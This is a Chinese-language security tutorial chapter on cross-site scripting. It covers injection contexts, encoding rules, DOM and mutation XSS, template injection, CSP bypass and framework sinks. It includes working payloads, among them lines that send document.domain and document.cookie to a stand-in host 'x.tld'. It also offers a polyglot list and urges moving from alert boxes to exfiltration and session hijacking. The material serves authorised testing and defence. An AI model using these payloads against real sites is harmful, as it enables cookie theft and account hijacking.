第 6 章 · 01 跨站脚本(XSS) 本节摘要:跨站脚本(XSS)经久不衰,根因是「上下文(context)、解析器(parser)、框架边界」三者都极复杂。它分反射型、存储型、DOM 型三大类,贯穿 Web、移动壳、桌面壳;注入上下文从 HTML 文本、属性、URL、JS、CSS 到 SVG/MathML、Markdown、PDF,每一类的编码规则都不同。现代前端框架(React/Vue/Angular/Svelte)的自动转义并非保险箱—— 、 、 、 等显式信任接口照样能注入;CSP 与 Trusted Types 是运行时防线,但弱策略、script gadget、base 注入、JSONP 端点都能绕过。
本节摘要:跨站脚本(XSS)经久不衰,根因是「上下文(context)、解析器(parser)、框架边界」三者都极复杂。它分反射型、存储型、DOM 型三大类,贯穿 Web、移动壳、桌面壳;注入上下文从 HTML 文本、属性、URL、JS、CSS 到 SVG/MathML、Markdown、PDF,每一类的编码规则都不同。现代前端框架(React/Vue/Angular/Svelte)的自动转义并非保险箱——
dangerouslySetInnerHTML、v-html、$sce.trustAsHtml、{@html}等显式信任接口照样能注入;CSP 与 Trusted Types 是运行时防线,但弱策略、script gadget、base 注入、JSONP 端点都能绕过。本节讲透攻击面、上下文分类与编码规则、DOM XSS/Mutation XSS/模板注入/CSP 绕过的具体技术、按上下文裁剪的 polyglot,以及从「弹框」走向数据外带与会话劫持的后利用路径。
内容来源:原项目知识包
strix/skills/vulnerabilities/xss.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
阅读完本节,你应当能够:
三大类型:
七大注入上下文(每个上下文的编码规则都不同,见第二节):
javascript: URLurl() 与 expression())onload/动画事件触发)注入点(数据源 → sink 的入口):
| 入口类别 | 典型位置 |
|---|---|
| 服务端渲染 | 模板引擎(Jinja/EJS/Handlebars)、SSR 框架、邮件/PDF 渲染器 |
| 客户端渲染 | innerHTML/outerHTML/insertAdjacentHTML、模板字符串 |
| 框架显式信任 | React dangerouslySetInnerHTML、Vue v-html、Angular $sce.trustAsHtml、Svelte {@html} |
| URL / DOM | location.hash/search、document.referrer、base href、data-* 属性 |
| 事件/处理器 | onerror/onload/onfocus/onclick、javascript: URL 处理器 |
| 跨上下文 | postMessage 载荷、WebSocket 消息、localStorage/sessionStorage、IndexedDB |
| 文件/元数据 | 图片/SVG/XML 文件名与 EXIF、服务端/客户端处理的 Office 文档 |
要绕过的防线:CSP、Trusted Types、DOMPurify、框架自动转义。
💡 核心心法:上下文 + sink 决定执行。先分类上下文,再选 payload;对每一处用户影响的字符串,在它进入的确切 sink 上严格编码,并由运行时策略(CSP/Trusted Types)兜底。粗暴跑 payload 字典是低效的。
XSS 的「检测」本质是判断「输入在某个上下文中是否被正确编码」。各类上下文应编码的字符集如下,违反任何一条都可能形成注入:
< > & " '。" ' < > &,且属性必须带引号;避免无引号属性。https/mailto/tel,拒绝 javascript:/data:)。JSON.stringify。style;净化属性名/值;警惕 url() 与 expression()。onload 或动画事件执行。多通道路由:同一数据可能在 REST、GraphQL、WebSocket、SSE、Service Worker 多条路径中渲染;SSR vs CSR vs hydration 的渲染路径不同,转义也可能不同——每条都要测。
数据源:location.*(hash/search)、document.referrer、postMessage、storage、service worker 消息。
Sink:innerHTML/outerHTML/insertAdjacentHTML、document.write、setAttribute、字符串形态的 setTimeout/setInterval、eval/Function、blob URL 形态的 new Worker。
漏洞模式:
const q = new URLSearchParams(location.search).get('q'); results.innerHTML = `<li>${q}</li>`;
利用:?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>
利用解析器修复机制,把「看似安全」的标记变形为可执行代码:
<noscript><p title="</noscript><img src=x onerror=alert(1)> <form><button formaction=javascript:alert(1)>
这类绕过专门对付「先 sanitize 再被浏览器二次解析」的净化器——浏览器修复畸形 HTML 时,净化后的 DOM 与重新序列化的字符串可能不一致。
服务端或客户端模板对表达式求值(AngularJS 旧版、Handlebars helper、lodash 模板):
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
data:/blob:、允许内联事件。import()。维护一套精简、按上下文调校的 payload,远胜于跑大字典:
<svg onload=alert(1)>" autofocus onfocus=alert(1) x="onmouseover=alert(1)"-alert(1)-"javascript:alert(1)| 框架 | 主要 sink | 绕过要点 |
|---|---|---|
| React | dangerouslySetInnerHTML;事件处理器/URL 来自不可信输入 |
经未净化的库注入;自定义渲染器用 innerHTML |
| Vue | v-html;动态属性绑定 |
SSR hydration 不匹配会重新解释内容 |
| Angular | 旧版(<1.6)表达式注入;$sce 信任 API 被滥用 | $sce.trustAsHtml 把攻击者内容加入白名单 |
|
| Svelte | {@html};动态属性 |
动态属性若未转义可注入 |
| Markdown/富文本 | 渲染器常允许 HTML 透传;插件可能重新启用原始 HTML | 渲染后再净化;禁止内联 HTML 或限制为安全白名单 |
javascript:。text/html 或 image/svg+xml 提供的 SVG/HTML 上传可内联执行;校验 content-type 与 Content-Disposition: attachment,加 X-Content-Type-Options: nosniff 防 MIME 嗅探绕过。💡 绕过的本质:防御常在某一条路径(某上下文、某渲染管线、某传输通道)上失效。变换编码、空白、大小写,或换一条渲染路径(SSR vs CSR vs hydration)即可命中未净化的分支。
确认一个 XSS 真实存在的稳妥步骤:
alert——访问了什么数据、执行了什么动作、实现了什么持久化。常见误报:
⚠️ 一个「只能弹框」的 XSS 往往意味着还没追到 sink。优先做影响驱动的 PoC(外带、CSRF 链),而非停留在
alert。
url()/expression())、SVG/MathML(活动内容)、Markdown/富文本/PDF。dangerouslySetInnerHTML、Vue v-html、Angular $sce/旧版表达式、Svelte {@html}、Markdown 渲染器 HTML 透传。<svg onload>/" autofocus onfocus/onmouseover/"-alert(1)-"/javascript:),远胜跑大字典。下一节,我们看 CSRF(跨站请求伪造)——它不靠 payload,而靠「浏览器自动带上 cookie」这一环境凭据,逼服务器为攻击者执行状态变更。